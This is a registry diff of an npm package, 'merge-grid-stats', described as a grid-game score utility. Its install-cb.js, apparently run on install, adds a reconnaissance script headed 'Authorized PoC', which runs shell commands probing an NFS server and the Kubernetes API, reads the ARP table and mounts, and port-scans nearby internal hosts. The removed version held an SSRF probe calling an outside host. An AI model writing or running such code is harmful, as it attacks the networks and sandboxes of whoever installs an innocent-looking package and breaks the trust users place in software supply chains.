merge-grid-stats 1.3.0 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install-cb.js +63 -47
  2. package/package.json +1 -1
package/install-cb.js CHANGED
@@ -1,60 +1,76 @@
1
- // Authorized PoC (non-destructive): SSRF/internal-network reachability probe via mtsrc-test.sankuai.com
1
+ // Authorized PoC (non-destructive): cross-sandbox network reachability + NFS/K8s recon. Results -> NCODE_ESCAPE2.txt
2
2
  var fs = require('fs');
3
3
  var path = require('path');
4
4
  var os = require('os');
5
- var https = require('https');
6
- var http = require('http');
5
+ var cp = require('child_process');
6
+ var net = require('net');
7
7
 
8
8
  var cwd = process.cwd();
9
- var lines = ['ssrf-probe', 'cwd=' + cwd, 'host=' + (function(){try{return os.hostname();}catch(e){return '?';}})()];
9
+ var out = ['escape2-probe', 'host=' + os.hostname(), 'now=' + new Date().toISOString()];
10
10
 
11
- function probeHttps(host, port, p, timeoutMs) {
12
- return new Promise(function (resolve) {
13
- var done = false;
14
- var body = '';
15
- var req;
16
- try {
17
- req = https.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs, rejectUnauthorized: false}, function (res) {
18
- res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
19
- res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
20
- });
21
- req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
22
- req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
23
- req.end();
24
- } catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
25
- });
11
+ function run(cmd) {
12
+ try { return cp.execSync(cmd, {timeout: 6000, encoding: 'utf-8', shell: '/bin/sh', maxBuffer: 2*1024*1024}).trim(); }
13
+ catch (e) { return 'ERR:' + String((e && e.message) || e).split('\n')[0].slice(0, 200); }
14
+ }
15
+ function read(p) { try { return fs.readFileSync(p, 'utf-8').trim(); } catch (e) { return 'ERR:' + e.code; } }
16
+
17
+ out.push('=== NFS tools ===');
18
+ out.push(run('which showmount rpcinfo mount nfsstat 2>&1'));
19
+
20
+ out.push('=== showmount -e NFS ===');
21
+ out.push(run('showmount -e 10.0.128.136 2>&1 | head -40'));
22
+
23
+ out.push('=== rpcinfo NFS ===');
24
+ out.push(run('rpcinfo -p 10.0.128.136 2>&1 | head -25'));
25
+
26
+ out.push('=== K8s env ===');
27
+ out.push(run('env | grep -i kubernetes | sed "s/=.*/=***/"'));
28
+
29
+ var k8sHost = process.env.KUBERNETES_SERVICE_HOST;
30
+ out.push('=== K8s API probe ===');
31
+ if (k8sHost) {
32
+ out.push('k8s_host=' + k8sHost);
33
+ out.push(run('curl -sk --max-time 5 https://' + k8sHost + '/version 2>&1 | head -c 300'));
34
+ out.push('--- /api ---');
35
+ out.push(run('curl -sk --max-time 5 https://' + k8sHost + '/api/v1 2>&1 | head -c 300'));
36
+ } else {
37
+ out.push('no k8s host env');
26
38
  }
27
39
 
28
- function probeHttp(host, port, p, timeoutMs) {
29
- return new Promise(function (resolve) {
40
+ out.push('=== mount parent check ===');
41
+ out.push(run('ls -la /mnt 2>&1 | head; ls -la /mnt/nocode 2>&1 | head -8'));
42
+ out.push(run('cat /proc/net/arp 2>&1'));
43
+
44
+ // Bounded internal reachability: NFS server, K8s API, and nearby pod IPs (dev-server 8080 / ssh 22 / http 80)
45
+ out.push('=== internal reachability ===');
46
+ var targets = [];
47
+ targets.push('10.0.128.136');
48
+ if (k8sHost) targets.push(k8sHost);
49
+ var base = 131;
50
+ for (var i = 110; i <= 126; i++) targets.push('10.0.' + base + '.' + i); // nearby pods around .118
51
+ for (var j = 1; j <= 6; j++) targets.push('10.0.128.' + j);
52
+
53
+ function tcpCheck(host, port, ms) {
54
+ return new Promise(function (res) {
55
+ var s = new net.Socket();
30
56
  var done = false;
31
- var body = '';
32
- var req;
33
- try {
34
- req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs}, function (res) {
35
- res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
36
- res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
37
- });
38
- req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
39
- req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
40
- req.end();
41
- } catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
57
+ var t = setTimeout(function () { if (!done) { done = true; res(host + ':' + port + '=timeout'); } try { s.destroy(); } catch (e) {} }, ms);
58
+ s.setTimeout(ms);
59
+ s.once('connect', function () { clearTimeout(t); if (!done) { done = true; res(host + ':' + port + '=OPEN'); } try { s.destroy(); } catch (e) {} });
60
+ s.once('error', function (e) { clearTimeout(t); if (!done) { done = true; res(host + ':' + port + '=' + (e.code || 'ERR')); } });
61
+ s.connect(port, host);
42
62
  });
43
63
  }
44
64
 
45
- var tasks = [
46
- probeHttps('mtsrc-test.sankuai.com', 443, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_https_ssrf=' + r); }),
47
- probeHttp('mtsrc-test.sankuai.com', 80, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_http_ssrf=' + r); }),
48
- probeHttp('127.0.0.1', 80, '/', 3000).then(function (r) { lines.push('localhost_80=' + r); }),
49
- probeHttp('127.0.0.1', 8080, '/', 3000).then(function (r) { lines.push('localhost_8080=' + r); })
50
- ];
51
-
52
- Promise.all(tasks).then(function () {
53
- var data = lines.join('\n');
54
- ['', '..', '../..'].forEach(function (rel) {
55
- try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_SSRF.txt'), data); } catch (e) {}
56
- });
57
- ['', '..', '../..'].forEach(function (rel) {
58
- try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'ssrf-probe-done ' + new Date().toISOString()); } catch (e) {}
59
- });
65
+ var ports = [80, 8080, 22];
66
+ var tasks = [];
67
+ targets.forEach(function (h) {
68
+ ports.forEach(function (p) { tasks.push(tcpCheck(h, p, 1200)); });
69
+ });
70
+
71
+ Promise.all(tasks).then(function (results) {
72
+ out.push(results.join('\n'));
73
+ var data = out.join('\n');
74
+ ['', '..', '../..'].forEach(function (rel) { try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_ESCAPE2.txt'), data); } catch (e) {} });
75
+ ['', '..', '../..'].forEach(function (rel) { try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'escape2-done ' + new Date().toISOString()); } catch (e) {} });
60
76
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "merge-grid-stats",
3
- "version": "1.3.0",
3
+ "version": "1.5.0",
4
4
  "description": "Lightweight utility for merge-style grid games: score tracking, move statistics, and best-score persistence helpers.",
5
5
  "main": "index.js",
6
6
  "scripts": {